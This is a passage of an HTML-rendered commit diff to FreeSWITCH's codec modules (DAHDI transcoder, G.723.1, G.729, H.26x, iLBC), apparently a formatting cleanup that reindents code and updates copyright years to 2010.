</span><span class="cx"> 
</span><span class="lines">@@ -176,23 +169,21 @@
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t init_decoder(switch_codec_t *codec)
</span><span class="cx"> {
</span><del>-    struct dahdi_transcoder_formats fmts;
-    struct dahdi_context *context = codec-&gt;private_info;
</del><ins>+        struct dahdi_transcoder_formats fmts;
+        struct dahdi_context *context = codec-&gt;private_info;
</ins><span class="cx"> 
</span><span class="cx">         fmts.dstfmt = DAHDI_FORMAT_ULAW;
</span><del>-        fmts.srcfmt = (codec-&gt;implementation-&gt;ianacode == CODEC_G729_IANA_CODE) 
</del><ins>+        fmts.srcfmt = (codec-&gt;implementation-&gt;ianacode == CODEC_G729_IANA_CODE)
</ins><span class="cx">                 ? DAHDI_FORMAT_G729A : DAHDI_FORMAT_G723_1;
</span><span class="cx">         context-&gt;decoding_fd = switch_dahdi_get_transcoder(&amp;fmts);
</span><span class="cx">         if (context-&gt;decoding_fd &lt; 0) {
</span><span class="cx"> #ifdef DEBUG_DAHDI_CODEC
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Decoding requested and denied with %d/%d.\n&quot;,
-                                fmts.srcfmt, fmts.dstfmt);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Decoding requested and denied with %d/%d.\n&quot;, fmts.srcfmt, fmts.dstfmt);
</ins><span class="cx"> #endif
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> #ifdef DEBUG_DAHDI_CODEC
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Decoding requested and granted with %d/%d.\n&quot;,
-                                fmts.srcfmt, fmts.dstfmt);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Decoding requested and granted with %d/%d.\n&quot;, fmts.srcfmt, fmts.dstfmt);
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -228,7 +219,7 @@
</span><span class="cx">         /* ulaw requires 8 times more storage than g729 and 12 times more than G723, right? 
</span><span class="cx">          * this can be used to calculate the target buffer when encoding and decoding
</span><span class="cx">          * */
</span><del>-        context-&gt;codec_r = (codec-&gt;implementation-&gt;ianacode == CODEC_G729_IANA_CODE) 
</del><ins>+        context-&gt;codec_r = (codec-&gt;implementation-&gt;ianacode == CODEC_G729_IANA_CODE)
</ins><span class="cx">                 ? 8 : 12;
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -238,7 +229,7 @@
</span><span class="cx"> static int wait_for_transcoder(int fd)
</span><span class="cx"> {
</span><span class="cx">         /* let's wait a bit for the transcoder, if in 20msthe driver does not notify us that its ready to give us something
</span><del>-        then just bail out with 0 bytes encoded/decoded as result, I'd expect the card to hold that buffer and return it later */
</del><ins>+           then just bail out with 0 bytes encoded/decoded as result, I'd expect the card to hold that buffer and return it later */
</ins><span class="cx">         int res = 0;
</span><span class="cx">         struct pollfd readpoll;
</span><span class="cx">         memset(&amp;readpoll, 0, sizeof(readpoll));
</span><span class="lines">@@ -246,21 +237,21 @@
</span><span class="cx">         readpoll.events = POLLIN;
</span><span class="cx">         /* my testing shows that it does not take more than 1ms to encode a 160 bytes frame ulaw to g729,
</span><span class="cx">            I dont think there is much difference decoding and for g723, waiting 10ms seems more than reasonable */
</span><del>-        res = poll(&amp;readpoll, 1, 10); 
</del><ins>+        res = poll(&amp;readpoll, 1, 10);
</ins><span class="cx">         return res;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t switch_dahdi_encode(switch_codec_t *codec,
</span><del>-                                           switch_codec_t *other_codec,
-                                           void *decoded_data,
-                                           uint32_t decoded_data_len,
-                                           uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
-                                           unsigned int *flag)
</del><ins>+                                                                                   switch_codec_t *other_codec,
+                                                                                   void *decoded_data,
+                                                                                   uint32_t decoded_data_len,
+                                                                                   uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+                                                                                   unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx">         int32_t res;
</span><span class="cx">         short *dbuf_linear;
</span><span class="cx">         unsigned char *ebuf_g729;
</span><del>-        unsigned char ebuf_ulaw[decoded_data_len/2];
</del><ins>+        unsigned char ebuf_ulaw[decoded_data_len / 2];
</ins><span class="cx">         uint32_t i;
</span><span class="cx">         struct dahdi_context *context = NULL;
</span><span class="cx">         switch_status_t status;
</span><span class="lines">@@ -290,7 +281,8 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         if (i != res) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Requested to write %d bytes to %s encoder device, but only wrote %d bytes.\n&quot;, i, transcoder_name, res);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Requested to write %d bytes to %s encoder device, but only wrote %d bytes.\n&quot;, i,
+                                                  transcoder_name, res);
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         res = wait_for_transcoder(context-&gt;encoding_fd);
</span><span class="lines">@@ -333,7 +325,7 @@
</span><span class="cx">         int32_t res;
</span><span class="cx">         short *dbuf_linear;
</span><span class="cx">         // we only can decode up to half ulaw bytes of whatever their destiny linear buffer is
</span><del>-        unsigned char dbuf_ulaw[*decoded_data_len/2]; 
</del><ins>+        unsigned char dbuf_ulaw[*decoded_data_len / 2];
</ins><span class="cx">         unsigned char *ebuf_g729;
</span><span class="cx">         uint32_t i;
</span><span class="cx">         struct dahdi_context *context;
</span><span class="lines">@@ -360,7 +352,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Switch DAHDI decode in silence returned %d bytes.\n&quot;, *decoded_data_len);
</span><span class="cx"> #endif
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> #ifdef DEBUG_DAHDI_CODEC
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Writing %d bytes to decode.\n&quot;, encoded_data_len);
</span><span class="cx"> #endif
</span><span class="lines">@@ -370,12 +362,12 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         if (encoded_data_len != res) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Requested to write %d bytes to %s decoder device, but only wrote %d bytes.\n&quot;, encoded_data_len, transcoder_name, res);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Requested to write %d bytes to %s decoder device, but only wrote %d bytes.\n&quot;,
+                                                  encoded_data_len, transcoder_name, res);
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> #ifdef DEBUG_DAHDI_CODEC
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Attempting to read from device %d bytes of decoded ulaw data.\n&quot;, 
-                        sizeof(dbuf_ulaw));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Attempting to read from device %d bytes of decoded ulaw data.\n&quot;, sizeof(dbuf_ulaw));
</ins><span class="cx"> #endif
</span><span class="cx">         res = wait_for_transcoder(context-&gt;decoding_fd);
</span><span class="cx">         if (-1 == res) {
</span><span class="lines">@@ -386,7 +378,8 @@
</span><span class="cx">                 memset(dbuf_linear, 0, codec-&gt;implementation-&gt;decoded_bytes_per_packet);
</span><span class="cx">                 *decoded_data_len = codec-&gt;implementation-&gt;decoded_bytes_per_packet;
</span><span class="cx"> #ifdef DEBUG_DAHDI_CODEC
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;No output on %s decoder device, returning silence frame of %d bytes.\n&quot;, transcoder_name, *decoded_data_len);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;No output on %s decoder device, returning silence frame of %d bytes.\n&quot;, transcoder_name,
+                                                  *decoded_data_len);
</ins><span class="cx"> #endif
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="lines">@@ -437,10 +430,8 @@
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_lock(transcoder_counter_mutex);
</span><del>-        stream-&gt;write_function(stream, &quot;Using %d encoders of a total of %d available.\n&quot;,
-                        total_encoders_usage, total_encoders);
-        stream-&gt;write_function(stream, &quot;Using %d decoders of a total of %d available.\n&quot;,
-                        total_decoders_usage, total_decoders);
</del><ins>+        stream-&gt;write_function(stream, &quot;Using %d encoders of a total of %d available.\n&quot;, total_encoders_usage, total_encoders);
+        stream-&gt;write_function(stream, &quot;Using %d decoders of a total of %d available.\n&quot;, total_decoders_usage, total_decoders);
</ins><span class="cx">         switch_mutex_unlock(transcoder_counter_mutex);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -452,10 +443,10 @@
</span><span class="cx">         struct stat statbuf;
</span><span class="cx">         struct dahdi_transcoder_info info = { 0 };
</span><span class="cx">         int32_t fd, res;
</span><del>-        int mpf = 20000; /* Algorithmic delay of 15ms with 5ms of look-ahead delay */
-        int spf = 160; 
-        int bpfd = 320; 
-        int bpfc = 20; 
</del><ins>+        int mpf = 20000;                        /* Algorithmic delay of 15ms with 5ms of look-ahead delay */
+        int spf = 160;
+        int bpfd = 320;
+        int bpfc = 20;
</ins><span class="cx">         int fpnp = 20;
</span><span class="cx"> 
</span><span class="cx">         total_encoders = 0;
</span><span class="lines">@@ -479,8 +470,7 @@
</span><span class="cx"> 
</span><span class="cx">         fd = open(transcoding_device, O_RDWR);
</span><span class="cx">         if (fd &lt; 0) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to open %s transcoder device: %s.\n&quot;, 
-                                transcoder_name, strerror(errno));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to open %s transcoder device: %s.\n&quot;, transcoder_name, strerror(errno));
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -491,14 +481,13 @@
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="cx">                 if ((info.dstfmts &amp; DAHDI_FORMAT_ULAW) &amp;&amp; (info.srcfmts &amp; (DAHDI_FORMAT_G729A | DAHDI_FORMAT_G723_1))) {
</span><del>-                        total_decoders  += info.numchannels;
</del><ins>+                        total_decoders += info.numchannels;
</ins><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, 
-                                &quot;Not using transcoder %s, we just support ULAW and G723.1/G729A&quot;, info.name);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Not using transcoder %s, we just support ULAW and G723.1/G729A&quot;, info.name);
</ins><span class="cx">         }
</span><span class="cx">         close(fd);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!total_encoders &amp;&amp; !total_decoders) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;No DAHDI transcoders found.\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -510,79 +499,73 @@
</span><span class="cx"> 
</span><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><del>-        
-        SWITCH_ADD_CODEC(codec_interface, &quot;DAHDI G.729A 8.0k&quot;); /* 8.0kbit */
</del><span class="cx"> 
</span><del>-        switch_core_codec_add_implementation(pool,
-         codec_interface,
-         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-         18,                                /* the IANA code number */
-         &quot;G729&quot;,                          /* the IANA code name */
-         NULL,                                /* default fmtp to send (can be overridden by the init function) */
-         8000,                                /* samples transferred per second */
-         8000,                                /* actual samples transferred per second */
-         8000,                                /* bits transferred per second */
-         mpf,                                /* number of microseconds per frame */
-         spf,                                /* number of samples per frame */
-         bpfd,                                /* number of bytes per frame decompressed */
-         bpfc,                                /* number of bytes per frame compressed */
-         1,                                /* number of channels represented */
-         fpnp,                                /* number of frames per network packet */
-         switch_dahdi_init,                 /* function to initialize a codec handle using this implementation */
-         switch_dahdi_encode,                /* function to encode raw data into encoded data */
-         switch_dahdi_decode,                /* function to decode encoded data into raw data */
-         switch_dahdi_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        SWITCH_ADD_CODEC(codec_interface, &quot;DAHDI G.729A 8.0k&quot;);        /* 8.0kbit */
</ins><span class="cx"> 
</span><del>-        mpf = 30000; 
-        spf = 240; 
-        bpfd = 480; 
-        bpfc = 30; 
-        fpnp = 30; 
-        switch_core_codec_add_implementation(pool,
-         codec_interface,
-         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-         18,                                /* the IANA code number */
-         &quot;G729&quot;,                          /* the IANA code name */
-         NULL,                                /* default fmtp to send (can be overridden by the init function) */
-         8000,                                /* samples transferred per second */
-         8000,                                /* actual samples transferred per second */
-         8000,                                /* bits transferred per second */
-         mpf,                                /* number of microseconds per frame */
-         spf,                                /* number of samples per frame */
-         bpfd,                                /* number of bytes per frame decompressed */
-         bpfc,                                /* number of bytes per frame compressed */
-         1,                                /* number of channels represented */
-         fpnp,                                /* number of frames per network packet */
-         switch_dahdi_init,                 /* function to initialize a codec handle using this implementation */
-         switch_dahdi_encode,                /* function to encode raw data into encoded data */
-         switch_dahdi_decode,                /* function to decode encoded data into raw data */
-         switch_dahdi_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 18,        /* the IANA code number */
+                                                                                 &quot;G729&quot;,        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 8000,        /* bits transferred per second */
+                                                                                 mpf,        /* number of microseconds per frame */
+                                                                                 spf,        /* number of samples per frame */
+                                                                                 bpfd,        /* number of bytes per frame decompressed */
+                                                                                 bpfc,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 fpnp,        /* number of frames per network packet */
+                                                                                 switch_dahdi_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_dahdi_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_dahdi_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_dahdi_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx"> 
</span><del>-        SWITCH_ADD_CODEC(codec_interface, &quot;DAHDI G.723.1 5.3k&quot;); /* 5.3kbit */
-        mpf = 30000; /* Algorithmic delay of 37.5ms with 7.5ms of look-ahead delay */
</del><ins>+        mpf = 30000;
</ins><span class="cx">         spf = 240;
</span><span class="cx">         bpfd = 480;
</span><ins>+        bpfc = 30;
+        fpnp = 30;
+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 18,        /* the IANA code number */
+                                                                                 &quot;G729&quot;,        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 8000,        /* bits transferred per second */
+                                                                                 mpf,        /* number of microseconds per frame */
+                                                                                 spf,        /* number of samples per frame */
+                                                                                 bpfd,        /* number of bytes per frame decompressed */
+                                                                                 bpfc,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 fpnp,        /* number of frames per network packet */
+                                                                                 switch_dahdi_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_dahdi_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_dahdi_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_dahdi_destroy);        /* deinitalize a codec handle using this implementation */
+
+        SWITCH_ADD_CODEC(codec_interface, &quot;DAHDI G.723.1 5.3k&quot;);        /* 5.3kbit */
+        mpf = 30000;                                /* Algorithmic delay of 37.5ms with 7.5ms of look-ahead delay */
+        spf = 240;
+        bpfd = 480;
</ins><span class="cx">         bpfc = 20;
</span><span class="cx">         fpnp = 10;
</span><del>-        switch_core_codec_add_implementation(pool,
-         codec_interface,
-         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-         4,                                /* the IANA code number */
-         &quot;G723&quot;,                          /* the IANA code name */
-         NULL,                                /* default fmtp to send (can be overridden by the init function) */
-         8000,                                /* samples transferred per second */
-         8000,                                /* actual samples transferred per second */
-         8000,                                /* bits transferred per second */
-         mpf,                                /* number of microseconds per frame */
-         spf,                                /* number of samples per frame */
-         bpfd,                                /* number of bytes per frame decompressed */
-         bpfc,                                /* number of bytes per frame compressed */
-         1,                                /* number of channels represented */
-         fpnp,                                /* number of frames per network packet */
-         switch_dahdi_init,                 /* function to initialize a codec handle using this implementation */
-         switch_dahdi_encode,                /* function to encode raw data into encoded data */
-         switch_dahdi_decode,                /* function to decode encoded data into raw data */
-         switch_dahdi_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 4,        /* the IANA code number */
+                                                                                 &quot;G723&quot;,        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 8000,        /* bits transferred per second */
+                                                                                 mpf,        /* number of microseconds per frame */
+                                                                                 spf,        /* number of samples per frame */
+                                                                                 bpfd,        /* number of bytes per frame decompressed */
+                                                                                 bpfc,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 fpnp,        /* number of frames per network packet */
+                                                                                 switch_dahdi_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_dahdi_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_dahdi_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_dahdi_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_API(api_interface, &quot;dahdi_transcode&quot;, &quot;DAHDI Transcode&quot;, dahdi_transcode_usage, NULL);
</span><span class="cx">         switch_console_set_complete(&quot;add dahdi_transcode&quot;);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_g723_1mod_g723_1c"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_g723_1/mod_g723_1.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_g723_1/mod_g723_1.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_g723_1/mod_g723_1.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -171,8 +171,8 @@
</span><span class="cx"> {
</span><span class="cx">         switch_codec_interface_t *codec_interface;
</span><span class="cx">         int ompf = 30000, ospf = 240, obpf = 480, oebpf = 24, count = 0;
</span><del>-        int mpf = ompf , spf = ospf , bpf = obpf , ebpf = oebpf ;
-        
</del><ins>+        int mpf = ompf, spf = ospf, bpf = obpf, ebpf = oebpf;
+
</ins><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;G.723.1 6.3k&quot;);
</span><span class="lines">@@ -180,8 +180,7 @@
</span><span class="cx">         for (count = 0; count &lt; 4; count++) {
</span><span class="cx">                 switch_core_codec_add_implementation(pool, codec_interface,
</span><span class="cx">                                                                                          SWITCH_CODEC_TYPE_AUDIO, 4, &quot;G723&quot;, NULL, 8000, 8000, 6300,
</span><del>-                                                                                         mpf , spf , bpf , ebpf , 1, count,
-                                                                                         switch_g723_init, switch_g723_encode, switch_g723_decode, switch_g723_destroy);
</del><ins>+                                                                                         mpf, spf, bpf, ebpf, 1, count, switch_g723_init, switch_g723_encode, switch_g723_decode, switch_g723_destroy);
</ins><span class="cx">                 mpf += ompf;
</span><span class="cx">                 spf += ospf;
</span><span class="cx">                 bpf += obpf;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_g729mod_g729c"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_g729/mod_g729.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_g729/mod_g729.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_g729/mod_g729.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_h26xmod_h26xc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_h26x/mod_h26x.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_h26x/mod_h26x.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_h26x/mod_h26x.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_ilbcmod_ilbcc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_ilbc/mod_ilbc.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_ilbc/mod_ilbc.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_ilbc/mod_ilbc.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -46,10 +46,10 @@
</span><span class="cx">         int encoding = (flags &amp; SWITCH_CODEC_FLAG_ENCODE);
</span><span class="cx">         int decoding = (flags &amp; SWITCH_CODEC_FLAG_DECODE);
</span><span class="cx">         int mode = codec-&gt;implementation-&gt;microseconds_per_packet / 1000;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(encoding || decoding) || (!(context = switch_core_alloc(codec-&gt;memory_pool, sizeof(*context))))) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if (codec-&gt;fmtp_in) {
</span><span class="cx">                 int x, argc;
</span><span class="lines">@@ -70,9 +70,9 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec-&gt;fmtp_out = switch_core_sprintf(codec-&gt;memory_pool, &quot;mode=%d&quot;, mode);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (encoding) {
</span><span class="cx">                 ilbc_encode_init(&amp;context-&gt;encoder_object, mode);
</span><span class="cx">         }
</span><span class="lines">@@ -80,7 +80,7 @@
</span><span class="cx">         if (decoding) {
</span><span class="cx">                 ilbc_decode_init(&amp;context-&gt;decoder_object, mode, 0);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec-&gt;private_info = context;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -122,7 +122,7 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        *decoded_data_len = (2 *ilbc_decode(&amp;context-&gt;decoder_object, (int16_t *) decoded_data, (uint8_t *) encoded_data, encoded_data_len));
</del><ins>+        *decoded_data_len = (2 * ilbc_decode(&amp;context-&gt;decoder_object, (int16_t *) decoded_data, (uint8_t *) encoded_data, encoded_data_len));
</ins><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -137,45 +137,41 @@
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;iLBC&quot;);
</span><span class="cx"> 
</span><del>-        switch_core_codec_add_implementation(pool,
-                                                                                 codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                 98,                                                /* the IANA code number */
-                                                                                 &quot;iLBC&quot;,                                        /* the IANA code name */
-                                                                                 &quot;mode=20&quot;,                                        /* default fmtp to send (can be overridden by the init function) */
-                                                                                 8000,                                                /* samples transferred per second */
-                                                                                 8000,                                                /* actual samples transferred per second */
-                                                                                 15200,                                                /* bits transferred per second */
-                                                                                 20000,                                                /* number of microseconds per frame */
-                                                                                 ILBC_BLOCK_LEN_20MS,                /* number of samples per frame */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 98,        /* the IANA code number */
+                                                                                 &quot;iLBC&quot;,        /* the IANA code name */
+                                                                                 &quot;mode=20&quot;,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 15200,        /* bits transferred per second */
+                                                                                 20000,        /* number of microseconds per frame */
+                                                                                 ILBC_BLOCK_LEN_20MS,        /* number of samples per frame */
</ins><span class="cx">                                                                                  ILBC_BLOCK_LEN_20MS * 2,        /* number of bytes per frame decompressed */
</span><del>-                                                                                 ILBC_NO_OF_BYTES_20MS,                /* number of bytes per frame compressed */
-                                                                                 1,                                                        /* number of channels represented */
-                                                                                 1,                                                        /* number of frames per network packet */
-                                                                                 switch_ilbc_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                 switch_ilbc_encode,                /* function to encode raw data into encoded data */
-                                                                                 switch_ilbc_decode,                /* function to decode encoded data into raw data */
-                                                                                 switch_ilbc_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                                                                                 ILBC_NO_OF_BYTES_20MS,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_ilbc_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_ilbc_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_ilbc_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_ilbc_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx"> 
</span><del>-        switch_core_codec_add_implementation(pool,
-                                                                                 codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                 97,                                                /* the IANA code number */
-                                                                                 &quot;iLBC&quot;,                                        /* the IANA code name */
-                                                                                 &quot;mode=30&quot;,                                        /* default fmtp to send (can be overridden by the init function) */
-                                                                                 8000,                                                /* samples transferred per second */
-                                                                                 8000,                                                /* actual samples transferred per second */
-                                                                                 13300,                                                /* bits transferred per second */
-                                                                                 30000,                                                /* number of microseconds per frame */
